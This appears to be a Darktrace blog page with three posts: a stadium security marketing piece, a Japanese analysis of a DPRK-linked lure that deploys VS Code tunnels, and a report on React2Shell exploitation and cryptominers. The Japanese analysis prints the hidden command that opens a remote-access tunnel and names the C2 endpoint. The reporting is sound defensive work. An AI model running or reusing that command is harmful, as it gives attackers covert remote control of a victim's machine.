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March 2, 2022

Protecting Stadiums & Events with AI

Discover how Self-Learning AI tackles event security challenges like the 'access paradox' and IT/OT convergence with speed and precision.
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Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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02
Mar 2022

Stadium and large public venue operators are confronted with a unique set of cyber security challenges. Often described as a ‘honeypot’ for cyber-criminals, the entertainment industry is an attractive target for threat actors for three main reasons:

  • Hacktivism – as witnessed during the Rio and Tokyo Olympic Games;
  • The global stage of international events makes it a target for geopolitically motivated cyber-terrorism;
  • The large sums of money at stake make event organizers and associated parties a prime target for financially motivated cyber-crime like ransomware.

The potential ramifications of cyber disruption during a large-scale event cannot be overstated. A momentary lapse in access to power could bring TV broadcasts to a halt; disruption to access controls could restrict fans from entering the grounds; CCTV outages could increase the risk of criminal behavior and physical injuries. If data is not reliable and stadium machines are outputting the wrong metrics, a venue could become dangerously overcrowded. The barrier between the cyber and physical worlds has long dissolved – cyber-attacks threaten human safety.

In this blog, I explore the key challenges of stadium cyber security and explain the unique capabilities of Self-Learning AI that led me to adopt Darktrace as a head of ICT and cyber security for international venues and events.

The access paradox

The biggest challenge lies in the paradox of securing a site where various internal services are provided to a large number of unknown and uncontrolled users, suppliers and devices.

When it’s game time, or ‘D-Day’, you see a huge influx of thousands of people, each with their own devices, needing to connect to your network and your infrastructure. The floodgates are opened. But of course, certain parts of your digital environment need to remain protected: your sensitive employee and customer data, your critical OT systems. I liken this to opening the door to your home, and letting the entire town come in and wander around. But you still need to secure your master bedroom.

A multitude of different actors must be able to work on site to provide services or content during the event. Broadcasters, staff and suppliers need to have access to managing the show, and all of these people need to access or interact with the IT infrastructure. In many ways, these additional bodies are already inside the perimeter and could host unknown malicious threats.

Achieving this balance between accessibility and security requires a shift in mindset from perimeter-based security to one that can detect and respond to threats on the inside. The complexities involved requires technology that can identify malicious behavior in real time based on the wider context of an incident. A particular behavior or connection may be benign in one context and yet critically disruptive in another — tools and technology must be able to discern between the two.

This is why I considered Darktrace’s Self-Learning AI a suitable fit: rather than defending at the perimeter, it focuses on detecting and responding to malicious activity already inside. Because it learns the unique ‘patterns of life’ of its surroundings, it can detect subtle deviations that indicate a threat and initiate a targeted response – without relying on pre-programmed rules and playbooks.

IT/OT convergence

The second key challenge is the issue of IT and OT convergence. Typical stadiums and arenas consist of a wide range of Industrial Control Systems (ICS).

Figure 1: The interconnected IT/OT components of a stadium

This involves a complex and messy array of switches, cables, CCTV cameras, as well as devices and technologies being brought in by the media and the press, and all these IT and OT components are now interconnected, which means these technologies now have Internet Protocol (IP)-based threats to manage.

The same challenges that the corporate infrastructure for stadium management faces in cyber security are therefore also now an issue for ICS security.

This challenge cannot be addressed by viewing IT and OT security in isolation — these two environments are linked because of the analogue migration to IP. A unified approach is required to detect and respond to threats that start in IT before moving to industrial systems. In addition, cyber security technology must be able to deal with complexity.

Darktrace’s AI thrives in the most complex environments, with more data points adding more context to inform the AI’s decision making. It covers OT and IT with a single, unified AI engine, that can also detect and respond across cloud infrastructure, SaaS applications, email systems and endpoints. It is ready to adapt to the messy, interconnected systems that make up large stadiums’ digital infrastructure.

The time factor

Finally, the nature of stadium events means that timing is critical and puts enormous pressure on the organizers and operators. ‘D-Day’ cannot be replayed or postponed, and so if cyber disruption occurs during the event, every minute is crucial.

There is consequently a strong emphasis on two key metrics that will be familiar to the wider audience: Mean Time To Know (MTTK) — how long it takes the security team need to be aware of an incident; and Mean Time To Restore (MTTR) — how quickly a team can act to contain the threat. It is perhaps more imperative in stadium event management than anywhere else that these two metrics be minimized.

This leads to the third criteria in assessing cyber security technology: does it help with response? And critically, can that response be nuanced and targeted, able to contain that threat without causing further disruption?

To this end, Darktrace’s Autonomous Response takes machine-speed action to contain cyber-attacks, when humans are too slow to react or aren’t around at all. It’s powered by Darktrace’s AI, so it has a nuanced and continuously updating understanding of what’s ‘normal’ across IT and OT systems. This means its response actions are targeted: designed to eliminate the threat, but not at the cost of disruption. Depending on the nature and severity of the threat, the technology can block specific malicious connections by enforcing the normal ‘pattern of life’ of a device or account. When every second counts, this is the speed and granularity that you need in a cyber security technology.

Plug and play

For stadiums and large venue operators, Darktrace’s trial period is typically extended for the AI to learn ‘normal’ over a longer period of time, capturing both ‘business as usual’, and ‘event time’. The sophistication of the AI enables it to factor event day into its understanding of ‘normal’.

When event day comes around, the technology has a nuanced understanding of how every user and device typically behaves, and can identify subtle deviations indicative of a threat.

It can be deployed across every area of the digital enterprise – including email, adding an invaluable layer of defense as any new event will entail thousands of email exchanges with new senders to prepare for the event, adding to the propagation risk of viruses or ransomware. It also covers cloud and SaaS environments with the same self-learning approach, stopping anomalous behaviors that point to account takeover and other cloud-based threats.

Wherever it is deployed, Darktrace allows the stadium operator to focus on the vital part of the game and offers real-time protection without any modification in the network topology or infrastructure.

An adaptive defense

Cyber-criminals are constantly developing their approach in an attempt to evade security tools trained to look for specific hallmarks of an attack. As they get creative and continuously experiment with new tactics and techniques, the human operators using these tools are forced into a constant state of catch up.

Figure 2: Cyber security is an evolving game of attack and defense

An AI-based approach that learns an organization from the ground up puts an end to this game of ‘cat and mouse’, shifting the balance in favor of the defenders and allowing them to stay ahead of the threat.

With a nuanced understanding of what’s ‘normal’ for the business, unified IT/OT coverage, and an Autonomous Response solution that takes immediate, targeted action, the playing field is levelled and large stadium and events operators can focus on delivering the best possible experience for attendees, digital viewers, partners and performers.

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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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January 26, 2026

ダークトレース、韓国を標的とした、VS Codeを利用したリモートアクセス攻撃を特定

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はじめに

ダークトレースのアナリストは、韓国のユーザーを標的とした、北朝鮮(DPRK)が関係していると思われる攻撃を検知しました。このキャンペーンはJavascriptEncoded(JSE)スクリプトと政府機関を装ったおとり文書を使ってVisual Studio Code(VS Code)トンネルを展開し、リモートアクセスを確立していました。

技術分析

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
図1: 「2026年上半期国立大学院夜間プログラムの学生選抜に関する文書」という表題のおとり文書。

このキャンペーンで確認されたサンプルは、Hangul Word Processor (HWPX) 文書に偽装したJSEファイルであり、スピアフィッシングEメールを使って標的に送付されたと考えられます。このJSEファイルは複数のBase64エンコードされたブロブを含み、Windows Script Hostによって実行されます。このHWPXファイルは“2026年上半期国立大学院夜間プログラムの学生選抜に関する文書(1)”という名前で、C:\ProgramDataにあり、おとりとして開かれます。この文書は韓国の公務員に関連する事務を管掌する政府機関、人事革新処を装ったものでした。文書内のメタデータから、脅威アクターは文書を本物らしくみせるため、政府ウェブサイトから文書を取得し、編集したと思われます。

Base64 encoded blob.
図2: Base64エンコードされたブロブ

このスクリプトは次に、VSCode CLI ZIPアーカイブをMicrosoftからC:\ProgramDataへ、code.exe(正規のVS Code実行形式)およびout.txtという名前のファイルとともにダウンロードします。

隠されたウィンドウで、コマンドcmd.exe/c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene >"C:\ProgramData\out.txt" 2>&1 が実行され、 “bizeugene”という名前のVS Codeトンネルが確立されます。

VSCode Tunnel setup.
図3: VSCode トンネルの設定

VS Codeトンネルを使うことにより、ユーザーはリモートコンピューターに接続してVisualStudio Codeを実行できます。リモートコンピューターがVS Codeサーバーを実行し、このサーバーはMicrosoftのトンネルサービスに対する暗号化された接続を作成します。その後ユーザーはGitHubまたはMicrosoftにサインインし、VS CodeアプリケーションまたはWebブラウザを使って別のデバイスからこのマシンに接続することができます。VS Codeトンネルの悪用は2023年に最初に発見されて以来、東南アジアのデジタルインフラおよび政府機関を標的とする[1]中国のAPT(AdvancedPersistent Threat)グループにより使用されています。

 Contents of out.txt.
図4: out.txtの中身

“out.txt” ファイルには、VS Code Serverログおよび生成されたGitHubデバイスコードが含まれています。脅威アクターがGitHubアカウントからこのトンネルを承認すると、VS Codeを使って侵害されたシステムに接続されます。これにより脅威アクターはこのシステムに対する対話型のアクセスが可能となり、VS Codeターミナルやファイルブラウザーを使用して、ペイロードの取得やデータの抜き出しが可能になります。

GitHub screenshot after connection is authorized.
図5: 接続が承認された後のGitHub画面

このコード、およびトンネルトークン“bizeugene”が、POSTリクエストとしてhttps://www.yespp.co.kr/common/include/code/out.phpに送信されます。このコードは韓国にある正規のサイトですが、侵害されてC2サーバーとして使用されています。

まとめ

この攻撃で見られたHancom文書フォーマットの使用、政府機関へのなりすまし、長期のリモートアクセス、標的の選択は、過去に北朝鮮との関係が確認された脅威アクターの作戦パターンと一致しています。この例だけでは決定的なアトリビューションを行うことはできませんが、既存のDPRKのTTP(戦術、技法、手順)との一致は、このアクティビティが北朝鮮と関係を持つ脅威アクターから発生しているという確信を強めるものです。

また、このアクティビティは脅威アクターがカスタムマルウェアではなく正規のソフトウェアを使って、侵害したシステムへのアクセスを維持できる様子を示しています。VS Codeトンネルを使うことにより、攻撃者は専用のC2サーバーの代わりに、信頼されるMicrosoftインフラを使って通信を行うことができるのです。広く信頼されているアプリケーションの使用は、特に開発者向けツールがインストールされていることが一般的な環境では、検知をより困難にします。既知のマルウェアをブロックすることに重点を置いた従来型のセキュリティコントロールではこの種のアクティビティを識別することはできないかもしれません。ツール自体は有害なものではなく、多くの場合正規のベンダーによって署名されているからです。

作成:タラ・グールド(TaraGould)(マルウェア調査主任)
編集:ライアン・トレイル(Ryan Traill)(アナリストコンテンツ主任)

付録

侵害インジケータ (IoCs)

115.68.110.73 - 侵害されたサイトのIP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001- フィッシング: 添付ファイル

T1059- コマンドおよびスクリプトインタプリタ

T1204.002- ユーザー実行

T1027- ファイルおよび情報の難読化

T1218- 署名付きバイナリプロキシ実行

T1105- 侵入ツールの送り込み

T1090- プロキシ

T1041- C2チャネル経由の抜き出し

参考資料

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

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Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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